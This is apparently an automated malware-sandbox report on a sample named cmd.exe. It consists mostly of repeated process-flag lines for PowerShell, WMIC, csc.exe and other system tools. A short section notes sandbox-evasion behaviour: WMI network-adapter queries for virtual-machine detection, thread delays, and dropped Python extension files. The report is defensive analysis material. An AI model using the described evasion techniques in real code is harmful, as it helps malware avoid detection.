Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\getmac.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID="1"} WHERE ResultClass=Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapterSetting where Element="Win32_NetworkAdapter.DeviceID=\"1\""

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3705	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2946	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2984	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 675
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1857
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2639
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1260
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4345

Source: C:\Users\user\Desktop\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\_lzma.pyd	Jump to dropped file
